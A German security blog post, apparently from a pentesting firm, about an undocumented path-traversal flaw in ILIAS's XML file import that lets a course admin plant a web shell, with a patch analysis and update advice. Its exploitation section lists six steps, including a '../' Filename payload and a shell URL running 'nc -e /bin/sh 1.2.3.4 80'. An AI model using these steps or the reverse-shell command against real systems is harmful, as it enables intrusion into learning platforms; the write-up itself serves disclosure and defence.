Wie man eine undokumentierte ILIAS-Sicherheitslücke nutzt, um RCE zu erlangen

ILIAS ist eine freie Open-Source-Lernplattform, mit der webbasierte Lehr- und Lernmaterialien erstellt und verbreitet werden können. Sie wird häufig von Universitäten und Unternehmen für E-Learning eingesetzt. Dieser Blogbeitrag beschreibt, wie wir eine alte ILIAS-Schwachstelle entdeckt haben, die keinen CVE-Eintrag hat und daher übersehen werden könnte. Verwundbar: alle Versionen 4.x, <5.0.21, <5.1.17, <5.2.3. Versionen ab 5.3 sind nicht betroffen! Gepatcht im April 2017. Zugriff auf Dateiimport von XML erforderlich, z.B. durch Kursadministrationsrechte.

Inhalt

  1. Entdeckung der Schwachstelle
  2. Ausnutzung der Schwachstelle
  3. Analyse des Patches der Schwachstelle
  4. Fazit

1. Entdeckung der Schwachstelle

Wir wurden beauftragt, einen Sicherheitstest auf einer E-Learning-Plattform durchzuführen, um Schwachstellen und Fehlkonfigurationen zu identifizieren, bevor sie gestartet und in der Produktion verwendet wurde. Die verwendete E-Learning-Plattform basiert auf ILIAS. Während der Informationsbeschaffungsphase stellten wir fest, dass auf der Plattform eine veraltete Version lief. Deshalb begannen wir, nach bekannten Schwachstellen zu recherchieren, hatten damit aber keinen Erfolg. Beim Durchstöbern der Mailinglisten stießen wir auf eine besonders interessante Nachricht vom April 2017 (v 5.2.3). Sie erwähnte mehrere Sicherheitslücken, die gepatcht wurden.

In diesem Beitrag wurde die Schwachstelle auf die XML-Importfunktion und einen Zeitpunkt (April 2017) eingegrenzt und könnte uns die Möglichkeit geben, eine Datei an einen beliebigen Ort im Dateisystem zu kopieren.

Da ILIAS Open Source ist und sein Quellcode auf GitHub gehostet wird, konnten wir nach dem Commit suchen, der diese Schwachstelle behebt. Da wir das ungefähre Datum, an dem die Schwachstelle behoben wurde, und die betroffene Datei kannten, fanden wir schnell zwei Commits, die die Schwachstelle patchten:

Commit 1 auf GitHub

Commit 2 auf GitHub

Basierend auf diesen Informationen begannen wir, unseren eigenen Proof of Concept zu entwickeln.

2. Ausnutzung der Schwachstelle

Sie benötigen ein Konto mit einigen Zugriffsrechten in ILIAS, um die Dateiimportfunktion zu nutzen, z. B. Kursadministration. Wir hatten diese Berechtigungen aufgrund einer anderen Schwachstelle, die nichts mit ILIAS zu tun hatte. Wenn Sie Dateien hochladen können, können Sie diesen 6 Schritten folgen, um eine Webshell zu öffnen:

  1. Dateien als XML exportieren
  2. Archiv entpacken
  3. Öffnen Sie die Datei export.xml und ändern Sie das XML-Tag Filename in ../../../../../../../../../../../../../var/www/ilias/shell.php - wobei der Pfad ein über Web erreichbarer Ordner ist
  4. Erstellen Sie das Archiv erneut, einschließlich der geänderten XML-Datei
  5. Importieren Sie die geänderte Zip-Datei in ILIAS: ‘Neues Objekt hinzufügen’ –> ‘Datei’ –> ‘Option 2: Dateiimport’
  6. Öffnen Sie https://example.com/ilias/shell.php?cmd=nc -e /bin/sh 1.2.3.4 80

3. Analyse des Patches der Schwachstelle

Wie hat der ILIAS-Entwickler diese Sicherheitslücke gepatcht, die für willkürlichen Dateiupload und sogar Remote Code Execution missbraucht werden konnte?

Im April 2017 (v 5.2.3) fügten sie eine Funktion namens normalizeRelativePath hinzu. Wenn ein relativer Pfad verwendet wird, ist es möglich, auf das übergeordnete Verzeichnis zuzugreifen, indem man zwei Punkte ‘..’ verwendet. Dies ermöglichte es, aus dem aktuellen Verzeichnis in übergeordnete Verzeichnisse auszubrechen. Damit können wir wählen, wo unsere Shell nach dem Import platziert werden soll. Die neue Funktion normalizeRelativePath entfernt diese Zeichen.

Vor dem Patch wurde der Pfadstring ungefiltert behandelt: $this->getImportDirectory()+"/"+"../../../../../../../../../../../../../var/www/example.com/ILIAS/shell.php"

Jetzt wird dieser String mit der Funktion normalizeRelativePath gefiltert und sieht nach der Filterung so aus: getImportDirectory()+"/"+"var/www/example.com/example.com/ILIAS/shell.php"

4. Fazit

Open-Source-Software ist großartig! Sie macht gute Produkte für jeden verfügbar und ermöglicht es, Fehler frühzeitig zu finden, da jeder einen Blick darauf werfen kann. Andererseits können bei einem Versionskontrollsystem, das für jeden zugänglich ist, alte Fehler und Mängel leicht gefunden und ausgenutzt werden. Deshalb ist es unerlässlich, Ihre Software auf dem neuesten Stand zu halten.

Die beschriebene Schwachstelle ermöglichte es, eine Shell in ILIAS zu importieren und das Verzeichnis zu steuern, in dem sie platziert wird, indem die XML-Datei manipuliert wird. Danach konnten wir die Shell von remote ausführen, was zu einer RCE führte. Dies wurde durch Durchsuchen der Mailingliste entdeckt, wo ein Fehler in der XML-Importfunktion erwähnt wurde. Zusätzlich zeigten wir Schritt für Schritt, wie diese Schwachstelle ausgenutzt werden kann.

Lesen Sie über weitere interessante Themen in unserem Blog.